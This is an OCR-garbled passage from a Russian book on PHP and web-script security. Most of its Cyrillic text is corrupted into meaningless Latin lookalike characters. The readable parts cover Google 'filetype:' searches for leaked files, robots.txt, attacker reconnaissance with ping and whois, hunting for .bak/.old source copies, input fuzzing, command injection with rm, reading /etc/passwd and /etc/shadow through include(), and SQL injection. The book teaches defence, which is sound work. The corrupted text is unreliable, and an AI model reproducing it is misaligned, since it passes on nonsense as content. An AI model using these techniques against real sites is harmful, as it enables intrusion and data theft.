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MySQL He no3BonsieT ycTaHOBUThH yAAIEHHOE TOAKIIIOYEHHE, TO 3T0 He npobine-
ma, Ho OC He mMoxer 3akpbiTh Bce noprbl. Ha Web-cepsepe HeBO3MOXHO 3anipe-
TUTH Bee noxkimoyenust. Kak munumym, Oyaer orkpsir 80-i nopr, a Moryr oka-
3aThCsl OTKPBITHIMH M APYTHE [TOPTHL.

CaMmit clieHapu#i aIMUHUCTPATOPOB M 3aKpbIThie 0OMACTH caifTa Takke 3aluila-
1oTcs naponeM. HeoBxoammo makcuManbHO YCIOXHUTH BBOA mnapoins. Yro 3rto
suaunt? Ecnu umsa nonb3oBatens M maposib npocro nepenaiorcsi yepea URL, o
Xakep aaxe ¢ HeGONbIIKMM 3aMacoM 3HAHMI M OMNBITOM MPOrpaMMHPOBAHUS CMO-
XET HamMcaTh MPOCTYI0 NporpamMmy MM cueHapuii mwis nmogbGopa napons. [ast
HaNmUCaHUs TAKOM MporpaMMbl HAZo:

O oauu pa3 oTmpaBuTh cepsepy 3anpoc Ha 3arpy3ky URL ¢ ykaszanuem moboro
UMEHH TMOJIL3OBATENSA W NapoJist;

0 onpenejauTh OTBET, KOTOPBI BbiacT cepsep B Kauecrse ownbxu. Ecnu omiud-
KW HET, 9TO O3HAYAET, YTO XAKEp BINOMA CEPBEP C MEPBO MOTBITKHU;

O nanucaTb mporpammy, Kotopas B umkie sanpamusaer URL ¢ pasHsiMu umena-
MU 1 naposisiMu. OTBET cpaBHUBAETCS C MoyueHHbIM stanoHoM. Ecnu Ha oripe-
JIeJleHHOM 9Tane OTBET cepBepa OymeT OTIMYaThCsH, 3HAYNT, Napoib HAUAEH.

Hawryyiuit crioco® — 3aluMi@aTs cueHapuu agMUHHCTPATOPOB NMPH MOMOILH
wndpoBaHus win cepsepa Apache. B Web-cepsepe MoxHO ncrnonb3obarh htac-
cess (haliabl ¥ OMpeenuTh B HUX JOCTYN K KAtaaory. DTO MO3BONMUT 3alIMLIATH
KATATOI Ha YpOBHE cepBepa TaKuM oOpa3oM, UTO Y Mojb3oBaress Oymer mnoss-
JATHCS OKHO JUISl BBOjA naposist. DTo 0KHO OOMaHyTh HEMHOTO CIIOXHEE, U TYT
yKe HYXHBI Oonee rybokue 3HaHWS NporpaMMHpoOBaHUs.

Eute omuH BapuaHt 3awuTthl — uenonb3osanue nporokoga HTTPS, korophiii
nepemnder Mo ceT AaHHble B 3alIM(pPOBAHHOM BUAE. DTOT METOM MMO3BOJSET He
TONBKO YCIOXHHUTE Moafop mapos, HO W 3ALIMTHTBECS OT MPOCIYLUUBAHUS Tpa-
¢uxa. Ecnu xakepy ymacrest mojayduTh JOCTYIl K CEpBEpY M YCTAHOBUTH CBOIO
nporpammy-cHuddep wis npocayuBaHus Tpaduka B 0XKUAAHHK Napos, To 3To
He MPUHECeT Pe3yJLTaTa.

CrnoxHele naponu (He MeHee 8 cuMBonoB U coaepxkaiume uudpsl u 6ykBbl B pas3-
HbIX perMcTpax) B cOMETaHWH ¢ 3aUIMTOH Nepenayu naponeil Mno3possiioT CO3UATH
bonee GesonacHele CHEHAPHK.

3.2.6. NouckoBble cucTembl

3a nocnennue 10 mer UurepHer paspoccs 10 TAKUX PasMEPOB, YTO HAWTH B HEM
yTo-1100 6e3 xopolleil MOMCKOBOW CHCTEMBI CTao HeBo3dMoxHo. [lepssie cue-
TEMBI MTPOCTO MHAEKCHPOBANM CTPAHMLEBL 110 WX COACPXKMMOMY M MOTOM HCHONB-
30BATH MOJYUYEeHHYI0 a3y JaHHBIX UIS [TOMCKA, KOTOPHII naBajl ouyeHb npubmnusn-
Te/lbHbie pe3yabTarhl. Eciu nosib3opaTesib BBOAM/I B KayecTBe KOHTEKCTa CJIOBO
"nyk", To oTOUPATOCH OrPOMHOE KOJIHYECTBO CAlTOB MO MULIEBOIl MPOMBILIEH-
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HOCTH M To crpensbe u3 ayka. B GonbluMHETBE SI3bIKOB €CTh CIOBA, KOTOpLIE
MMEIOT HECKOJIbKO 3HaYeHUM, U MOUCK 110 HUM 3aTPYIHUTE/IEH.

[MpobnemMa He TONBKO B ABYCMBICIEHHOCTH HEKOTOPHIX C/lOB. EcTh MHOXECTBO
IUPOKO YrNoTpebisieMbIX BhIPAXeHMH, MO KOTOPBIM TOXE CJIOXHO MPOHU3BECTH
TOYHYIO BBIOOPKY. B ¢BA3M ¢ ITUM MOHCKOBLIE CHCTEMBI CTATH PAasBUBATLCH, U
Ternepb MOXHO 100aBiAThL B 3anpoc pasanyHble napamerpbl. OmHON M3 caMbIX
MOIIHBIX sBNIsieTcst mouckonas cucrema Google (www.google.com). B Heil peanu-
30BAHO MHOIO BO3MOXHOCTEH, MO3BOJNSIONIMX CHEJaTh TOUCK 6ojiee TOUHBLIM.
Kanb, 4To GOABIKWHCTBO MONb30BATENCH HE OCBOMIO HX, @ BOT B3NOMILMKHA M3Y-
YUK Bee (DYHKUMM, K MCITONB3YIOT HX B CBOMX LIEJISIX.

OnuH K3 caMmbIX MPoOCThIX crnocoboB BIIOMA — HAWTH C [MOMOUIBIO [MOMCKOBOI
cucreMbl 3akpbiTyio Web-crpanuily. Hekoropeie caiiTel MMEIOT 3aceKpevdeHHbIe
obsiacTH, K KOTOPBIM JIOCTYIT OCylLIecTBisiercsl mo naponio. Kpome HHMX cyuiect-
BYIOT TUIATHBLIE PECYpCHI, Ilie 3allHTa OCHOBaHA HA MPOBEPKE Mapois Npu BXOIE,
a He HA 3aCeKPeuYWBaHMU KaXIOH CTpPaHMIbl M Mcnonk3osawuu SSL. B rakux
cayqasix cucrema Google MpoMHIEKCHPYET 3aKPbIThIE CTPAHUIIBI, H X MOXHO
Oyer NMpocMOTPETh ¢ ee Nomoluibio. [Uig 3T0oro Hamo BCETO JIWlIbL YETKO 3HATh,
Kakas MHdopMaums xpaHurcs B (aiiie, H KaK MOXHO TOYHEE COCTABUTH CTPOKY
TIOHCKA.

C nomolupio www.google.com MOXHO HaMTH J0CTATOYHO BAXHBIE JaHHbIE, KOTO-
pble CKPBITHI OT MOMB30OBATeNst, HO M3-3a OLIMOKM agMUHMCTpATOpA CTANM AOC-
TYOHBIMM 1151 MHAeKcupyoweii Mamnibl Google. Bo Bpems noucka HyXHO npa-
BIWJILHO 3amaBaTh napameTpel. Hampumep, MOXHO BBeCTH B CTPOKY MOMCKa
CJICAYIOULYI0 KOMaHIy:

Tonopoit oruer filetype:doc

HIH

Tonosoit oruer filetype:xls

M BBl Haiigere Bce nokymeHTsl B ¢opmarax Word u Excel, comepxauine ciosa
"T'onosoit oryer”. Bo3amoxHO, [IOKYMEHTOB By/eT CIMIIKOM MHOro, Mo3roMmy 3a-
Npoc NPHAETCA YKECTOYHTh, HO KTO WIIET, ToT Beerga Haitner. CylecTByioT pe-
aNbHBlEe NPHMEPHLl U3 XU3HM, KORAA TAKUM MNpPOCTHIM criocobom ObIIM HaiAeHbI
CeKpeTHbIe JaHHBIE, B TOM YMCie AEHCTBYIOLIME HOMEpa KPeAWTHBIX KapT U ¢u-
HAHCOBbIE OTYETHI (PUPM.

JasaiiTe paccMOTpMM, Kak MOXHO 3alpeTHTh WHAeKcaluio karanoroB Web-
CTpPaHMll, KOTOpbIE HE MOJIKHBI CTaTh AOCTYMHBLIMHM LISl BCEOBLIEro npocMoTpa.
B nepsyio ouepesib, He0OXOAHMO MOHUMATh, YTO UMEHHO MHIEKCHPYIOT MOUCKO-
Bbi€ CHCTEMEI. Ha srot BOIPOC OTBETHTb JIETKO — BCE, YTO MONAIAETCS MO PYKY:
TEKCT, OMUCAHWA, Ha3BaAHUA KaPTHHOK, JOKYMEHTBI MOAAECPXKHBaCMbIX cbopuamn
(PDF, XLS, DOC u t. 1.).

Hamwa 3agaua kak paszpaboTYUKOB CLEHAPUEB — OrPAHUYUTBE HACTOHYHMBOCTDL
WHIEKCUPYIOLUX PoBOTOB MOMCKOBBIX MAllWH, YTOOLI OHW HEe TPOranu TO, 4TO
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sanpetiero. st 3Toro poboT 10/KEH MOMy4uTh onpeneaeHHblii curHan. Kak aro
caenars? Bouto HalAeHO NOCTATOMHO MPOCTOE, HO 3/EraHTHOE pelieHHe — B KO-
peHb calita nomeaerca aitn ¢ uMeHeM robots.ixt, KOTOpBIH COAEPKUT MpaBuia
A DOUCKOBBIX MalluMH.

Honycrum, 4To y Bac ecTh cailT www.your_name.com. PoGot, npexie uem HauarTh
crowo pabory, npobyer sarpysuts daitn www.your_name.com/robots.txt. Eciu ou
Oyner HaitjleH, TO MHIEKcalst MOif/IeT B COOTBETCTBMH ¢ OMMCAHHLIMM B (hariie
IIpaBUIIaMi, HHAYE NPOLEcC 3ATPOHET BCe MOJPSIA.

®opmar paiiia o4YeHb NPOCTOI H COCTOUT BCETO JINLIB U3 JIBYX AMPEKTHB:

0 User-Agent: napamerp — B Ka4E€CTBE MapamMeTpa NMepenaeTcss UMsl NOUCKOLOH
CHCTEMBI, K KOTOpOWl OTHOCATCS 3anperhbl. Takux 3anuceil B daiie MoOXeT
ObITh HECKONBKO, M Kaxaasi OynerT onuchiBaTh cBoio cuctemy. Ecium sanpersi
NOJDKHBI IEHCTBOBATE HA BCE MOMCKOBbIE CHCTEMBbl, TO JIOCTATOMHO YKAa3iTh
B Havasle daitna TUPEKTHBY User-Agent ¢ MapamMeTpoM 3BE304YKa (*);

0 pisallow: apgpec — 3alpellaeT HHIEKCUPOBATh ONMpefeneHHEIH alpec, KoTo-
pulit ykassiBaercs otHocutensHo URL. Hanpumep, ecin Bel XoTUTE OTKasarh-
cs o1 unaexcaiun crpaniil ¢ URL www,your_name.com/admin, To B Kauecree
napaMerpa Hy>xHo ykasaTk /admin. Kak sunure, aror ampec Gepetcs UMEHHO
u3 URL, a ne 3 Baweii peanbHoii ¢hailioBoii cHCTEMBI, TOTOMY YTO MOMCKO-
Basi cMCTEMA HEe MOXKET 3HaTh MCTUHHOE rojioxeHue aitiop Ha JHCKe cepbe-
pa u onepupyer Tonbko URL-agpecamu.

Bor npumep daitra robots.txt, KOTOpbIN 3anpeliaeT WHASKCALWIO CTPAHULL, HAXO-
ISIIIMXCs 110 aapecaM www.your_name.com/admin 1 www.your_name.com/cgi_bin
VIS J0OBIX MHAEKCHPYIOIIMX PpOBOTOB MOUCKOBBLIX CHCTEM:

User-Agent; *

Disallow: /cgi-bin/

Disallow: /admin/

JanHble npaBuia 3anpelanT HHAEKCALKIO ¢ yueToMm noakarasoros. Hanpumep,
(aiibl mo ampecy www.your_name.com/cgi_bin/forum Toxe He OymyT MHIEKCH-
POBATLCSI.

Crenyoluit npuMep 3anpeliaer HHAEKCALNIO cailTa BoBce:
User-Agent: *
Disallow: /

Ecnu Ha Bamem caifte ecTh KaTAJIOIH C CEeKpeTHBIMH JaHHBIMH, TO CcleayeTr 3a-
MPEeTUTh MX WHIOeKcauuio. Jlyuyiie JAUIIHWI pa3 oTkazarh, 4Yem morepsith. Ilpu
9TOM HE CTOMT CJHIMIUKOM YBJIEKATbHCA W 3aKpbiBaTb BCE MOAPHAL, NMTOTOMY YTO €CIH
caiit He OyneT NPOMHAEKCHPOBAH, TO €r0 HE HAILYT MOMCKOBbIE MAIUWHBI, M BbI
notepsiere GoJblIoe KoiauyecTso nocerurteneit. Ecau nouHTepecoBathes crat-
CTHKOI, TO MOXKHO YBHAETh, YTO HA HEKOTOPLIX CcaiTax KOJIMYECTBO MOCETHTENEH,
MPUILEAIIUX € MOUCKOBBIX CHCTEM, MPEBHIIACT KOJAUYECTBO 3aXONOB MO MI0OLIM
APYTHM CCBUIKAM WJIH BXOAOB HANPSMYIO.
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3.3. Kak B3anambIBaloT cLeHapum

Yro6Bl MOHATH, KAK 3ALIMTUTLCS OT Xakepa, HeoOXOIMMO 3HATh, KaK JEHCTBYIOT
XaKepsbl, 1 00 aTOM 1 yKe He pa3 rosopu u byay ropopuTh. JIyuiuii cneumanuct
1o 6e30MacHOCTH — 3TO Xakep, a JYYILIHNA Xakep — 370 cneunaaucTt mo Gesomnac-
HocTH. TakuM obpasoMm, 4ToObl CTATH JYYIIHM, HYXHO PACUIUPAThL CBOW 3HAHMS
B oboux HanpasneHusix. OCHOBbI B3JIOMa KOMIIBIOTEPOB MOXHO H3YYUThL 110
kuure "Kommptotep maszamu xakepa' [2], a B naHHOi rmaBe Mbl OTpaHUYMMCS
TOJBKO B3JIOMAMU CLEHAPUER.

C yero HauWHaTh? 3aBUCHT OT TOTrO, KeM Bbl XOTHTE cTaTh. ECIH B3JOMUIHKOM,
TO HeoOXooMMO HavYaTh H3YYEHHUE CPEIACTB 3ALUMTHI. Ecnu CIIEHHAJTMCTOM 110
6e30MacHOCTH, ClenyeT HAYMHATH M3YUYeHUe CO CPEICTB BanoMa. MEl cTpeMuMes
K GesonacHocTH, MoaToMy OyaeM JBUraThes OT criocoboB BanoMa.

B pmannoMm paspmene Mbl MO3HAKOMUMCS ¢ METOIAMH X4KEpOB M OCHOBHBIMH CIIO-
cobamu 3aLUTBI OT 3THX METONAOB. B cienyiouiem pasneine Ham MPeACTOMT [10ro-
BopuTh 0 BesornacHocTy dosee nogpodHO.

Jlio6oii BaloM HaumMHaetcs ¢ uccnenosaHusl. Ecin xakep xouer Bajiomarh cepsep,
To oH usyuaer ero OC u ciyxObl, KoTopeie paboraioT Ha ceppepe. B nmanuom
cy4yae Mbl 3allMILAeM CUEeHapuu, MO3TOMY AaBaiiTe MOCMOTPUM, UTO 3[1€Ch MO-
KET BHIMCKUBATEL XAKEeP M KaK OT 3TOr0 MOXHO 3allUTHTHCS.

Ieproe, ¢ yero MoXHO M Jaxe HYXKHO HAUMHATL, — HCCTeoBaHue obleocTyn-
HOI uHbpopmauun. Yro B Helt MoxeT ObIThL nosiesHoro wist patoma? Muoro vero.
IMepBblil MHCTPYMEHT, KOTOPbIA 3aMyCKaeT Xakep, — 3TO YTHIHMTA ping, KoTopas
MCTOJIL3YETCS ISl MPOBEPKH CBA3KM C YAAIEHHOW cucremoi. Hanuiumre B Ko-
MaH/IHOH CTpoKe:

ping sitename.cam

WU B pe3ynbrare Hd 5KpaHe Bbl YBUAWTE MHGOPMAUUIO O CKOpocTH obOMeHa aaH-
HBIMH MeXIy KoMmploTepamu. Haubosee MHTEpecHOi sIBNsSETCSl MepBas CTpPoKa,
re B KBaIpaTHLIX cKobkax nokasaH [P-anpec ynaneHHoH cucreMsi:

Pinging sitename.com [209.35.183.210] with 32 bytes of data:

Janee xaxkep Hanpapnsercsa Ha moboit caiit, rae ectb cnyxba Whois. Takue
ciyx6p! Beerga ObIBalOT Ha cepBepax KOMMAHWM, 3aHMMAIOLIMXCS perHcTpalmeit
JNIOMEHHBIX UMeH, Hanpumep, Ha caiite http://www.internic.com/whois.html.
Ha rakoit cnyx6e ykaseiBaem noMeHHoe uMsl unu 1P-anpec uHTEpecylollero Hac
caiita ¥ B pe3yibTare nojydyaeMm MojapobHyl0 MH(pOPMALKIO, TAKYl0 KaK WMeHa
DNS-cepsepoB, KOHTaKTHbIE AaHHble agMuuHucTparopa u T. 4. Tlpumep Whols-
3aMpoca MOXHO YBUeTh Ha puc. 3.2.
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I A Home - Flenov Internet Explorer 1
Fle Edt Mew Favorites Tools Help i
Qs - @ [X] @) | oo Jrrovones @vete & (3-5 B 1)

Aderess | 4] http:feports internic.net/cglfwhois?whols.ric=nicrosoft.comBitype =domain R s ®

: et
Whois Search Results

ATt

Search again (.aero, .arpa, biz, .com, coop, .edu, info, int, .museum,

name, .net, or .org):

'. |

@ Domain (ex. intemic.net)

O Registrar (ex. ABC Registrar, Inc.)

O Nameserver (ex. ns.example.com or 192.16,0.192)

- e

Whois Server Vexrsion 1.3

Domain names in the ,.com and .net domains can now be registered
with many different compecing registrara. Go to hotp://www.internic.net
for detailed information.

Domain Wame: MICROSOFT,.COM
Regiscrar: TUCOWS INC.

Whois Server: whois.opensrs.net
Referral URL: hicp://domainhelp.tucows.com
Name Server: NS3.MSFT.NET

Name Seryer: NS1.MSET.NET

Name Server: NSS5,.MSFT.NET

Name Server: NS2.MSFT.NET

Name Server: NS5S4.MSFT.NET
Stacus: REGISTRAR-LOCK

Updaced Date: 23-jun-2004
Creation Date: 02-may-1991
Expiration Date: 03-may-2014

. 1
J&1 oore | Intemet .I

Puc. 3.2. Peaynbrar 3anpoca Whols

ITocne sroro xakep nepexoIuT K uccaenosarnio Web-caiita. 3necs xakep crpe-
MHTCS] BBISICHWUTB €r0 CTPYKTYPY, @ MMEHHO KaKWe KATAJIOTH HCIONB3YIOTCH, Ka-
Kue umelores Qaiisl cueHapueB u T. 4. i yero ato HyxkHO? BapuanTos uc-
[0JIb30BaHUs 3TOM UH(pOPMALMK MHOro, ocobeHHo rnocne Baroma (HeobOXooUMO
3HATh, YTO MOXHO TPOCMOTPETh, B3JIOMAB CAilT), a Mepej B3JIOMOM Xakep rpe-
c/ieflyeT, B OCHOBHOM, JIBE LIEJIH:

0O Haiitu cueHapuii, Kotophlil siBNsfeTcA OOLUENOCTYMHBIM (KOMMEPYECKHM WJIH
decnnatHeiM). Hampumep, GoNbIUMHCTBO BialeNbUEB HEKOMMEPYECKHUX caii-
TOB He Oyner paszpabareiBaTh CBOM cOOCTBEHHBIE cliEHApUHU (GOPYMOB, a, CKO-
pee, Bocriosikdyerca obiien3secTHbiMuU, Hanipumep, phpBB (www.phpbb.com).
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Ecnu xakep Haitger obuienocTynmHyio ciykOy, 1o 00s3aTeIbHO OCTABUT 3ATOT
caift Ha 3ameTky. Yem nonynsipHee cueHapuii, TeM GoJbllie Xakepbl BCEro MM-
pa yIenasiioT eMy BHUMAHWS M TEM Yallle HaxXoIAT B HeM ysa3sumocTH. Maeansb-
HBIX mporpaMm He OwiBaer, U Be3lle ecTb OWKMOKU; NX MOUCK — BOINpPOC Bpe-
meHH. Kak TONBKO YfA3BUMOCTH CTAHET M3BECTHOH, a AAMMHMUCTPATOp He
ycrieer oGHOBUTh caiT, Xakep ObICTPO MONYYHT KOHTPOJb HAll 3TUM calToM.

O OyeHb YacTO MPOTPAMMHCTEI COXPAHSIOT HA CAiiTe CTaphbie BEPCHH CLIEHAPHUEB.
Hanpumep, ¢aitn cuenapus HasbiBaercs index.php, a nmporpaMMucT Hanucan
HoBywo Bepcuio. [lpexne yem ob6HoBATH ¢ait, oH MepeMMeHOBBIBAET TEKY-
uryio Bepcuio B index.bak wim index.old, a moroM yXe Konupyer HOBYIO Bep-
cuto. Takum obpasoMm, ecnu obHoBleHHas nporpamMma He Oyaer paborarts,
NpOCTBIM MeperMeHoBaHneM (ailyioB MOXKHO BEPHYThCS K CTAPOit BEPCHHM.

Sl TecTpoBan Ha Ge30MACHOCTH YKEe MHOrO CaifToOB, M ecnu cleHapuu ObLTH ca-
MOIUCHBIMU (HAMMCcaHbI BRaleIbleM caiTa, KBamndUKaLUs KOTOPOro OCTABISET
XKeJIaTh JIYYlIero), To 04eHb YacTo MOXHO ObUIO HAUTH pe3epBHLIE KONWM ClLieHa-
pHEB, M U1l HUX B OONBIIMHCTBE Cy4aeB yCTAHABIMBANOCH paciiuperue old win
bak. Ecin xakep moayuuT B CBOE pAacCIOpsiKeHUE MCXOAHBIN KO, 3TO Cephe3HO
Pa3BSKET eMy PYKH W YIPOCTUT Mouck yassumoctu. [Tpu obpawmenuu K daitny
¢ pacurupeHueM php, OH BBIMONHACTCS HHTEPINPETATOPOM, M MCXOAHBIH KOA YBH-
letk He ynaercsi. OnHaKo eciuM M3MEHWTh pacluupeHue Ha old U noneiTarkest oT-
KpbITh ¢aits, To MOXKHO ByaeT yBUIeTh MCXOAHBII KO WK cKavaTh (ailll cueHa-
pus K cebe Ha AMCK.

Hns cbopa uHpopmauun o BpeMEHHBIX aiinax Xaxkepsl MOTYT HCNONIL30BaTh
CrEeLHATU3UPOBAHHBIE NPOTPAMMBI, YTODBI HE MYYMTBCS C TECTOM BPYYHYIO, MO-
3TOMY He CTOMT AyMaTh, YTO 3TO CHNOXHAA 3aJaya M XaKep HUYEro He Hal/er.

Huxoraa He cosgasaiite pesepBHble KonuK (aiiios Ha cepsepe, KONMUPYATE UX Ha
CBOI KIHEHTCKHI KOMITBIOTED.

00 Bo Bpems NpenBapuTe/IbHOrO aHAIN3a XaKep uiueT Bce (opMel, KOTOPbIE MO~
JIY4aI0T BBOJL OT IOAB30OBaTeNA, U nepenaer ux cepsepy. Ilepenaya napamerpos
Bceraa onacHa. Cobpas 3TH CBENEHWs, Xakep BIOCHEACTBUH Oyner tectupo-
BaTh Mepeaavyy napameTpoB B Hamex/e, YTo XoTs Obl oaMH CLEHAPHil He mpo-
BEpsieT BBOAMMBIE [TOJIb3OBATENIEM JAHHBIE.

[ 3uasi cTPYKTYPY KATATOroB, MOXHO Dosiee YeTKo akleHTHPOBATh CBOE BHUMA-
HUE M UCKATb YSA3BUMOCTH MMEHHO Tam, Tjie OyHeT mojy4eH Hauaydqiuui pe-
aynbrat. B paszdese 3.2.6 Mbl rOBOPWIM O TOM, YTO HA cepBepe Moryr ObITbh Ka-
TJIOTH, KOTOpble HEeNb3s MHIEKCHPOBATh [OMCKOBbIMM cucTemamMu. Pai
HEJIb35, 3HA4YMT, B HUX €CThb 4YTO-TO MHTEpPECHOe. A KTO MELIaeT HaM B3IJIAHYTb
Ha daiin robots.IXl 1 YBUIETH, YTO UMEHHO aIMUHMCTPATOP WM Pa3paboTyuk
caifTa 3anpeTws uHIekcuposats? S aymaio, 4To HUKTO.

JlomycTiM, 4TO BBl yBUAeIM B dailiie cieayoline CTPOKH:

User-Agent: *
Disallow: /admin/
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Disallow: /include/
Disallow: /options/

Teneps xakep Gonbiie BHUMaHMs Oyaer yaensTh Karaiory /admin, moromy 4To
TaM SIBHO HaxomsaTest CLeHapuu aaMuHucTpatopoB. B karamore /options moryr
HaxoAMThes (paijibl HACTPOEK, M €cM Xakep CMOXeT OMpene/uTb MMs haiina
B 9TOM KATajlore WiM, ElIe XyXe, CMOXKeT YBUIAETh COAEPXHUMOE KaTajiora, To CalT
OK&KeTCs IMOJ Cephbe3HON Yrpo3oil,

CobpaB BOEGIMHO OTKPBITYIO HHGOPMALMKIO, XaKep CTPEMMTCS IPOABHHYTLCH
ray6xe ¥ y3Hath o cucrteMe HemHoro Gonbume. Ha sTom srtane Xxakep nsitaercs
BBECTH HEMPABUIILHBIE ZAHHBIE BO Bee (hOPMBI U CIEIUT 32 COOOILIEHUAMM, KOTO-
pble BbIIAET CEpBEp, B Halexle Y3HaTh 4To-1MbGo O cTpyKrype 6asel JaHHBIX
M ucnonab3yeMbix daiinax.

WneansueiM BapuaHToM Juisi xakepa Gyaer BO3MOXHOCTb YBHAETh cooblleHue
0 HerpasulBHOM JIOCTYNEe K JaHHBIM, PH 3TOM HA 9KpaHe MOXET oTobpaxaThes
SQL-3anpoc. Eciay B3nOMIUMK YBHAMT ero, To o6beM MHGpOpMALIMK B pyKax Xa-
Kepa M ee BaXHOCTD CYLIECTBEHHO BO3pacTaioT.

Bo Bpemsi yriybiieHHOro aHanu3a Xakep MepexoluT K PacCMOTPEHHIO MCXOMHbIX
koo ctpanuil. Camu nporpammbl Ha s3bike PHP oH He MoXeT yBUETb, ITOTOMY
UTO OHM BBIMOJHSIOTCS HA cepBepe, a KiIMeHTy nepenaercs tonsko HTML-kon,
HO W 3]1eCb MOXHO Koe-uTo HaitTu. Bo speMst yrnybieHHOro aHannsa B3JOMIHKH
Gospllie BCEro BHUMaHMs YACHSIOT CACAYIOIIUM MOMEHTAM:

00 KOMMEHTapHMN — MOTYT COlepXKaTh MHTEpecHyio WHMOpMAaLMIO 0 KOoe WIK O
HasHaYeHuM napamertpos. MHorma BeTpevaloTes ciyuan, KOrna mporpaMMICThI
OCTABJIAIOT B KAa4ecTBE KOMMEHTapusl Lejible (hparMeHThl KOja, KOTOpble Mo-
3BOJIMIOT XaKepy ObIcTpee HAWTH MOTeHUMAIbHbIE OLIUMOKH;

O ckpoiTbie (HOpPMBL ¥ TApaMeTpbl — MOTYT NepeiaBaThcsi ¢ mNapaMeTpaMu GET
WIK POST U COJEPXKATH OMEHB BAXHYI0 WH(MOPMALIMIO;

0 Bce uMeHa NnapaMeTpoB, KOTOPLIE UCMOJIb3YIOTCA B MporpaMMe, 1 MMeHa cle-
HApUEB, KOTOPbLIM OHH TEPEnaTCA.

Korna cobpan MakcHMaIbHO BO3MOXKHBEIH 00beM HHGOpPMAUWK, HAYMHAETCS MpPo-
BEpKa ClLEHAPUEB HA KOPPeKTHOCTh 00paboTKW BXOOHBIX NaHHBIX. [LIsi 3TOro BO
BCEX MapaMeTpax MOXeT nepefaBathes "Mycop”, COCTOSLIMIT U3 TaKIX CUMBONOB,
KaK THpe, MoAYEpKMBAHME, TOYKA ¢ 3amsToi, cnsiu, obpaTHBIA casW W T. O
MHorue 13 3TUX CUMBOJIOB B HEKOTOPBIX CIyYasiX SIBJISIIOTCS 3ape3epBUPOBAHHbI-
MM, HANIpUMEp, NPpH OTKpbITHK (daitnoB win npu pabore ¢ 6azamu nanHeix. Ecin
HA Kakoif-To M3 CHMBOJIOB ONpeHeNeHHBIN ClLeHapuil Belman coobuieHue o6
ounbke, To B TaKoM coobiiieHnH, cKopee Bcero, OyNeT colepkaThes CTPOYKa KO-
na, B KOTopoii npousoniia ounbka, u umsa ¢yuxuun wim SQL-3anpoc. Do ro-
BOPHUT O TOM, YTO KakOW-TO cHMBOJ obpabarbiBaeTcs HEBEpHO, W JalbHeiiee
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MPOHUKHOBEHHE HA CEPBEP MPONOIIKAETCS YKE B 3aBUCUMOCTH OT TOTO, Ti€ Mpo-
u3ouuia omubka. Haubosiee KpUTHYHBIME SIBASIIOTCS:

O ¢dyHkumMu obpalieHust K cUCTEME, TAKWE KaK system(), exec() M T. a. Ecnu
npu obpaueHun K 3TUM QYHKUUAM HE MNPOMCXONWUT MpoBEpKa HA CreuHalb-
HBIE CHUMBOIJIBI, TO XaKEp GYI[BT TMBITATECH BBITTOJIHUTE CHCTEMHBIE KOMAHIBLI,
Hanpumep, Is ais npocmorpa tekyuiero karanora B8 OC Unix. M ecnu nipu
aTtoM mipasa y Web-cepBepa H0CTaTouHBI UIH BBIMONHEHUS BAKHLIX KOMAaHII,
TO MOXHO CHHTATh, YTO XaKeEp llOﬁHJ’ICH MOCTABJIEHHOI LIEJH. C mnoMoubio
KOMAaHI HECJIOXKHO BBIMONHUThL TAKHE aTakH, Kak:

e gedeiic (deface), . e 3ameHa rIaBHOM CTPAHMIBI, — JOCTATOMHO YAANHTH
haitn cueHapusi rnaBHOI CTPAHMLIBI M 3AMEHUTH €ro Ha CBOIf;

e YHUUTOXEHME Bcero caiita. Ecim ecTh BO3MOXHOCTH BBITONHATE KOMAHIY
yaanenuss daitiop (wis Unix-cucteM 310 rm), TO [IOCTYN Ha ynajieHue
" cLieHapueB Y Xakepa To4Ho byner;

O ¢ynxkuuu pabothl ¢ haiinamu, Takue KaK include (), readfile() U T. A. C ux
[OMOLIBIO XaKeP MOXET MOMbITAThCs NMPOYMUTATh KOH(MUIypauuoHHbe hailib,
HampuMep, ¢aia co cnMckoM Tnonb3oparenei  /etc/passwd, a yvue
/etc/shadow, rae B Unix-cucremax xpausartcsi 3awudpopaHHeie mapoiu. [la,
naposiy 3amn@poBadbl, HO NoxOdpaTh WX HE cocTaBlsieT ocoboro Tpyna;

O SQL-3anpochl, ¢ NOMOIIBI0O KOTOPBIX XaKep MOMXKET HAPYIIMTh LEJOCTHOCTb
Ga3bl JAHHBIX, YIUIMTE MW N3MEHHUTD BAKHBLIE NAHHBIE WIM MOAYYUTH TOCTYI
K KoHbuaeHUManbHoi uHdopmauuu, HanpuMep, Tabnuue naposeit.

OcHoBHasa VASBUMOCTb CLEHAPHEB — 3TO OTCYTCTBHE MPOBEPKH KOPPEKTHOCTH
rnapaMeTpoB W AAHHBIX, MOAYYAEMBIX OT MOJb30BaTeNsl, U 3TOi Teme Mbi Gylem
VIENATE OYeHb MHOTO BHMUMAHMS. Y CUCTEMHBLIX (yHKIMI Bbl 00f3aHBI YAANATH
W3 MapaMeTpoB CI3ILH, DﬁpﬂTHblE CA3UIH W TOYKH C 3anATOI.

Ho He omHuMMH rnapaMerpamiu KUBYT xakepbl. Ecth eue araku Cross-Site Script-
ing ¥ Qaya, HO 3TO COBEPINEHHO APYrasg MCTOPHs, W 3TY TeMYy MBI PaccMOTPHUM
B pazdesax 3.11 u 3.12 cOOTBETCTBEHHO.

3.4. OcHOBbI 3aWNThI CLiIeHapueB

Ecnim ¢ samutoit ceppepa u 0assl JaHHBIX Bce Oojiee-MeHee SCHO W MOXHO
chOpMYJIMPOBATE OMPE/e/ieHHBIE MPaBKd, @ MpH YETKOM uX cOBNIOAEHUH [OBO-
puTh 0 Ge3onacHOCTH, TO MPU CO3NAHUM CLEHAPUS] CUTYALMs HAMHOIO CJI0XHEE.
Jlaxe CTpOro ciefyst CaMbIM XECTKMM PEKOMEHIALUMNSIM, MPOrpaMMUCT HE MOXET
rapaHTHpOBaTh 3aMTy XoTd 661 HAa 90%. poGiema B TOM, 4TO MMEHHO BO Bpems
NporpaMMHUpoBaHusl OONbILIE BCEro NMposiBIsIieTCs YesoBeyeckuil (akrop.

3auwuTa cueHapust LomkHa 6eiTh MHOroyposHepoif. Her takoro merona, KOTOpEIH
JauwuTui 6 Bawy cucremy U Gein 661 campiM xopowuM. B cayuyae ¢ GesonacHo-
CTBIO BCE METOHbl Xopouin. SIpKuii npuMep U3 XHU3HH — B JaBHUE BPEMEHA
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BOKPYT TOPOAOB CTPOMJIM BBICOKHE CTEHDBI, KOTOPBIE MO3BOMSUIM 3AINTUTD KUTE-
neii or HaberoB. Ho atoro mano. OnHy cTeHY MOXHO CJIOMATh, €CJIH ATAKYIOLIMX
